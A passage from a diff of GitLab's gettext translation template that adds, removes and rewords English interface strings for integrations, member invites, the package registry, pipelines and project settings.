-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16645,6 +17097,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16681,9 +17136,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16879,7 +17331,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16888,7 +17340,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16897,25 +17349,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16930,6 +17382,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17092,6 +17547,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -17101,6 +17559,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17188,6 +17649,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17251,6 +17715,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17338,6 +17805,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17350,9 +17820,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17392,7 +17871,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17413,7 +17895,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17425,12 +17907,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17647,15 +18135,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17746,6 +18225,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17951,6 +18433,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18363,6 +18848,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18432,6 +18920,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18606,6 +19097,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18645,6 +19139,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18669,9 +19166,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18747,6 +19241,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18765,13 +19262,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18846,6 +19340,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18948,9 +19445,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18960,9 +19454,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -19095,9 +19586,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19155,9 +19643,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19724,6 +20209,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19916,6 +20404,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19979,6 +20473,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -20114,6 +20611,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20434,6 +20934,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20483,9 +20992,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20651,6 +21157,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20696,6 +21205,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20762,7 +21274,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20813,6 +21325,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20900,6 +21415,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -21071,6 +21589,34 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21185,6 +21731,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21317,10 +21872,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21410,9 +21962,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21437,9 +21986,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21470,6 +22016,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21558,12 +22107,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21582,9 +22125,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21597,10 +22137,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21615,6 +22158,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21666,6 +22212,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21774,12 +22323,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21810,6 +22365,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21828,6 +22386,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21879,6 +22440,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21903,9 +22467,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21942,15 +22503,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -22002,27 +22590,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22260,10 +22827,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22344,7 +22920,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22593,9 +23169,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22614,6 +23187,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22689,6 +23265,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22758,9 +23346,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22911,10 +23496,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22950,6 +23535,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -23088,6 +23685,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23112,6 +23715,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -23136,6 +23742,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23394,7 +24003,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23784,6 +24393,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23799,49 +24411,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23895,25 +24540,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23925,7 +24573,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23937,7 +24585,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23949,10 +24597,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23985,10 +24633,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -24012,15 +24663,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -24051,7 +24696,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -24060,7 +24705,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -24081,16 +24726,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -24102,12 +24744,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -24135,10 +24780,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24672,6 +25317,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24693,7 +25347,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
